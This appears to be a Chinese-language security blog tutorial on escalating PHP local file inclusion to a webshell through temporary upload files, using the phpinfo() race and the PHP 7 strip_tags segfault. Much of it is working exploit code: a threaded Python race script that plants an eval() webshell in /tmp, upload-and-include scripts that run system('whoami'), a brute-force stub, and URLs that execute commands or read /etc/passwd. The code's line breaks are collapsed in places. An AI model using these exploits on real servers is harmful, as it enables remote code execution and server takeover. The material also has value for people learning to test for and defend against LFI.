PHP LFI 利用临时文件 Getshell 姿势

前言

最近整理PHP文件包含漏洞姿势的时候，发现一些比较好用的姿势关于本地文件包含漏洞可以利用临时文件包含恶意代码拿到Webshell的一些奇技淫巧，于是打算详细整理一下。

PHP LFI

PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件，例如session文件、日志文件、临时文件等。但是，只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。

假如在服务器上找不到我们可以包含的文件，那该怎么办，此时可以通过利用一些技巧让服务存储我们恶意生成的临时文件，该临时文件包含我们构造的的恶意代码，此时服务器就存在我们可以包含的文件。

目前，常见的两种临时文件包含漏洞利用方法主要是：PHPINFO() and PHP7 Segment Fault，利用这两种奇技淫巧可以向服务器上传文件同时在服务器上生成恶意的临时文件，然后将恶意的临时文件包含就可以达到任意代码执行效果也就可以拿到服务器权限进行后续操作。

临时文件

在了解漏洞利用方式的时候，先来了解一下PHP临时文件的机制

全局变量

在PHP中可以使用POST方法或者PUT方法进行文本和二进制文件的上传。上传的文件信息会保存在全局变量$_FILES里。

$_FILES超级全局变量很特殊，他是预定义超级全局数组中唯一的二维数组。其作用是存储各种与上传文件有关的信息，这些信息对于通过PHP脚本上传到服务器的文件至关重要。

$_FILES['userfile']['name'] 客户端文件的原名称。$_FILES['userfile']['type'] 文件的 MIME 类型，如果浏览器提供该信息的支持，例如"image/gif"。$_FILES['userfile']['size'] 已上传文件的大小，单位为字节。$_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名，一般是系统默认。可以在php.ini的upload_tmp_dir 指定，默认是/tmp目录。$_FILES['userfile']['error'] 该文件上传的错误代码，上传成功其值为0，否则为错误信息。$_FILES['userfile']['tmp_name'] 文件被上传后在服务端存储的临时文件名

在临时文件包含漏洞中$_FILES['userfile']['name']这个变量值的获取很重要，因为临时文件的名字都是由随机函数生成的，只有知道文件的名字才能正确的去包含它。

存储目录

文件被上传后，默认会被存储到服务端的默认临时目录中，该临时目录由php.ini的upload_tmp_dir属性指定，假如upload_tmp_dir的路径不可写，PHP会上传到系统默认的临时目录中。

不同系统服务器常见的临时文件默认存储目录，了解系统的默认存储路径很重要，因为在很多时候服务器都是按照默认设置来运行的。

Linux目录

Linxu系统服务的临时文件主要存储在根目录的tmp文件夹下，具有一定的开放权限。

/tmp/

Windows目录

Windows系统服务的临时文件主要存储在系统盘Windows文件夹下，具有一定的开放权限。

C:/Windows/C:/Windows/Temp/

命名规则

存储在服务器上的临时文件的文件名都是随机生成的，了解不同系统服务器对临时文件的命名规则很重要，因为有时候对于临时文件我们需要去爆破，此时我们必须知道它的命名规则是什么。

可以通过phpinfo来查看临时文件的信息。

Linux Temporary File

Linux临时文件主要存储在/tmp/目录下，格式通常是（/tmp/php[6个随机字符]）

Windows Temporary File

Windows临时文件主要存储在C:/Windows/目录下，格式通常是（C:/Windows/php[4个随机字符].tmp）

PHPINFO特性

通过上面的介绍，服务器上存储的临时文件名是随机的，这就很难获取其真实的文件名。不过，如果目标网站上存在phpinfo，则可以通过phpinfo来获取临时文件名，进而进行包含。

虽说这个漏洞出现的很早(2011年，国外的安全研究人员将这种攻击手法进行卡了公布)，不过这个技巧确实是个很经典的列子，不会被遗忘的。

测试代码

index.php

<?php
    $file  = $_GET['file'];    include($file);
?>

phpinfo.php

<?php phpinfo();?>

漏洞分析

当我们在给PHP发送POST数据包时，如果数据包里包含文件区块，无论你访问的代码中有没有处理文件上传的逻辑，PHP都会将这个文件保存成一个临时文件。文件名可以在$_FILES变量中找到。这个临时文件，在请求结束后就会被删除。

利用phpinfo的特性可以很好的帮助我们，因为phpinfo页面会将当前请求上下文中所有变量都打印出来，所以我们如果向phpinfo页面发送包含文件区块的数据包，则即可在返回包里找到$_FILES变量的内容，拿到临时文件变量名之后，就可以进行包含执行我们传入的恶意代码。

漏洞利用

• 利用条件

无   PHPINFO的这种特性源于php自身，与php的版本无关

import requests
files = {  'file': ("aa.txt","ssss")}url = "http://x.x.x.x/phpinfo.php"r = requests.post(url=url, files=files, allow_redirects=False)print(r.text)

#!/usr/bin/python#python version 2.7
import sysimport threadingimport socket
def setup(host, port):    TAG = "Security Test"    PAYLOAD = """%sr<?php file_put_contents('/tmp/Qftm', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG    # PAYLOAD = """%sr    # <?php file_put_contents('/var/www/html/Qftm.php', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG    REQ1_DATA = """-----------------------------7dbff1ded0714rContent-Disposition: form-data; name="dummyname"; filename="test.txt"rContent-Type: text/plainrr%s-----------------------------7dbff1ded0714--r""" % PAYLOAD    padding = "A" * 5000    REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """rHTTP_ACCEPT: """ + padding + """rHTTP_USER_AGENT: """ + padding + """rHTTP_ACCEPT_LANGUAGE: """ + padding + """rHTTP_PRAGMA: """ + padding + """rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714rContent-Length: %srHost: %srr%s""" % (len(REQ1_DATA), host, REQ1_DATA)    # modify this to suit the LFI script    LFIREQ = """GET /index.php?file=%s HTTP/1.1rUser-Agent: Mozilla/4.0rProxy-Connection: Keep-AliverHost: %srrr"""    return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))    s2.connect((host, port))
    s.send(phpinforeq)    d = ""    while len(d) < offset:        d += s.recv(offset)    try:        i = d.index("[tmp_name] =&gt; ")        fn = d[i + 17:i + 31]    except ValueError:        return None
    s2.send(lfireq % (fn, host))    d = s2.recv(4096)    s.close()    s2.close()
    if d.find(tag) != -1:        return fn
counter = 0
class ThreadWorker(threading.Thread):    def __init__(self, e, l, m, *args):        threading.Thread.__init__(self)        self.event = e        self.lock = l        self.maxattempts = m        self.args = args
    def run(self):        global counter        while not self.event.is_set():            with self.lock:                if counter >= self.maxattempts:                    return                counter += 1
            try:                x = phpInfoLFI(*self.args)                if self.event.is_set():                    break                if x:                    print "nGot it! Shell created in /tmp/Qftm.php"                    self.event.set()
            except socket.error:                return
def getOffset(host, port, phpinforeq):    """Gets offset of tmp_name in the php output"""    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s.connect((host, port))    s.send(phpinforeq)
    d = ""    while True:        i = s.recv(4096)        d += i        if i == "":            break        # detect the final chunk        if i.endswith("0rnrn"):            break    s.close()    i = d.find("[tmp_name] =&gt; ")    if i == -1:        raise ValueError("No php tmp_name in phpinfo output")
    print "found %s at %i" % (d[i:i + 10], i)    # padded up a bit    return i + 256
def main():    print "LFI With PHPInfo()"    print "-=" * 30
    if len(sys.argv) < 2:        print "Usage: %s host [port] [threads]" % sys.argv[0]        sys.exit(1)
    try:        host = socket.gethostbyname(sys.argv[1])    except socket.error, e:        print "Error with hostname %s: %s" % (sys.argv[1], e)        sys.exit(1)
    port = 80    try:        port = int(sys.argv[2])    except IndexError:        pass    except ValueError, e:        print "Error with port %d: %s" % (sys.argv[2], e)        sys.exit(1)
    poolsz = 10    try:        poolsz = int(sys.argv[3])    except IndexError:        pass    except ValueError, e:        print "Error with poolsz %d: %s" % (sys.argv[3], e)        sys.exit(1)
    print "Getting initial offset...",    reqphp, tag, reqlfi = setup(host, port)    offset = getOffset(host, port, reqphp)    sys.stdout.flush()
    maxattempts = 1000    e = threading.Event()    l = threading.Lock()
    print "Spawning worker pool (%d)..." % poolsz    sys.stdout.flush()
    tp = []    for i in range(0, poolsz):        tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))
    for t in tp:        t.start()    try:        while not e.wait(1):            if e.is_set():                break            with l:                sys.stdout.write("r% 4d / % 4d" % (counter, maxattempts))                sys.stdout.flush()                if counter >= maxattempts:                    break        print        if e.is_set():            print "Woot!  m/"        else:            print ":("    except KeyboardInterrupt:        print "nTelling threads to shutdown..."        e.set()
    print "Shuttin' down..."    for t in tp:        t.join()
if __name__ == "__main__":    main()

• 运行脚本Getshell

http://192.33.6.145/index.php?file=/tmp/Qftm&Qftm=system(%27ls%20/tmp/%27)

/tmp/Qftm <?php eval($_REQUEST[Qftm])?>

php7 Segment Fault

利用条件

• 利用条件

7.0.0 <= PHP Version < 7.0.28

漏洞分析

漏洞修复

https://www.php.net/ChangeLog-7.php

Payload

http://192.33.6.145/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd

代码环境

<?php    $a = @$_GET['file'];    include $a;?>

<?php    $a = @$_GET['dir'];    var_dump(scandir($a));?

PHP Version 7.0.9

漏洞利用

index.php?file=php://filter/string.strip_tags/resource=index.php

#python version 2.7
import requestsfrom io import BytesIOimport re
files = {  'file': BytesIO('<?php eval($_REQUEST[Qftm]);')}url1 = 'http://192.168.68.119/index.php?file=php://filter/string.strip_tags/resource=index.php'r = requests.post(url=url1, files=files, allow_redirects=False)
url2 = 'http://192.168.68.119/dir.php?dir=/tmp/'r = requests.get(url2)data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)
print "++++++++++++++++++++++"print dataprint "++++++++++++++++++++++"
url3='http://192.168.68.119/index.php?file=/tmp/'+datadata = {'Qftm':"system('whoami');"}r =  requests.post(url=url3,data=data)print r.content

#python version 2.7
import requestsfrom io import BytesIOimport re
files = {  'file': BytesIO('<?php eval($_REQUEST[Qftm]);')}url1 = 'http://192.168.68.119/web/fi/index.php?file=php://filter/string.strip_tags/resource=index.php'r = requests.post(url=url1, files=files, allow_redirects=False)
url2 = 'http://192.168.68.119/web/fi/dir.php?dir=C:/Windows/'r = requests.get(url2)data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)
print "++++++++++++++++++++++"print dataprint "++++++++++++++++++++++"
url3='http://192.168.68.119/web/fi/index.php?file=C:/Windows/'+data+'.tmp'data = {'Qftm':"system('whoami');"}r =  requests.post(url=url3,data=data)print r.content

http://192.168.68.119/web/fi/dir.php?file=C:/Windows/

C:/Windows/php2EF.tmp  <?php eval($_REQUEST[Qftm])?>

• Linux

• windows

#python version 2.7
import requestsfrom io import BytesIO
files = {  'file': BytesIO('<?php eval($_REQUEST[Qftm]);')}url1 = 'http://192.168.68.119/web/fi/index.php?file=php://filter/string.strip_tags/resource=index.php'r = requests.post(url=url1, files=files, allow_redirects=False)
########################暴力破解模块########################url2='http://192.168.68.119/web/fi/index.php?file=C:/Windows/php'+{fuzz}+'.tmp&Qftm=system('whoami');'data = fuzzprint "++++++++++++++++++++++"print dataprint "++++++++++++++++++++++"########################暴力破解模块########################

基于Go开发：gobuster     https://github.com/OJ/gobuster基于Java开发：dirbuster  OWASP杰出工具 kali自带基于Python开发：wfuzz    https://github.com/xmendez/wfuzz

 

Refference

https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf
https://www.php.net/ChangeLog-7.php